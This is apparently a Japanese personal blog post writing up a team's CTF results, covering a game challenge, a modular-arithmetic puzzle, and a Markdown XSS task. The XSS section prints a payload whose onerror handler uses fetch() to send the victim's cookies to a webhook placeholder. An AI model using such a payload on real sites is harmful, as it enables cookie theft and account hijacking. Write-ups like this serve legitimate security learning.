久しぶりの CTF チーム jarujaru で 16/538

マジで椅子が終わっており,長時間のパソコンに耐えられなくなってきていてマズい.引っ越ししたら椅子買います

記憶を頼りに自分が解いた問題と upsolve を下記に示す

image.png

Welcome

sanity check で,Discord を確認

DiNo.1

アクセスするとブラウザゲームが起動する.

image.png

クマの絵文字と No.1 の絵文字が接触するとゲームオーバーになる. 普通にプレイしたらクリアできる.

Baby MSD

2000 個のランダムな数 secret が与えられる.自分が決めた任意の数 M ≥ 10^30 で secret を割り,そのあまりの最上位桁を調べ,最も頻度が高い数を当てる.というのを 100 回クリアすれば flag が得られる.

このとき,余りは [0, M-1] に分布するわけだが,[0, 210^x - 1] とすれば,余りの範囲は[0, 10^x, 210^x] となる.つまり半分の上位桁数が 1 となるので,他の数字よりも 1 の出る確率が大きくなる.試行回数が 2000 なのでほとんどの確率で 1 になるだろうということで,2*10^x となるような数字を M とし,最上位桁は 1 と答えればOK.

rev rev rev

o4-mini が解いてくれました.すみません

Warmdown

markdown を入力できるフォームが渡される.XSS してcookieを取り出せれば勝ち

<>だけを見ているのでタグ名とかは見ていない.なので,Markdown に XSS を埋め込む → URL を http://web:3000/xxx で報告する → Bot は Web ドメインにアクセスする → onerror 発火 → cookie を送信

![x” onerror="fetch('$URL_webhook'/?+encodeURIComponent(document.cookie))"](/)

最近 Web の勉強を始めたので正直難しかったですが面白かったです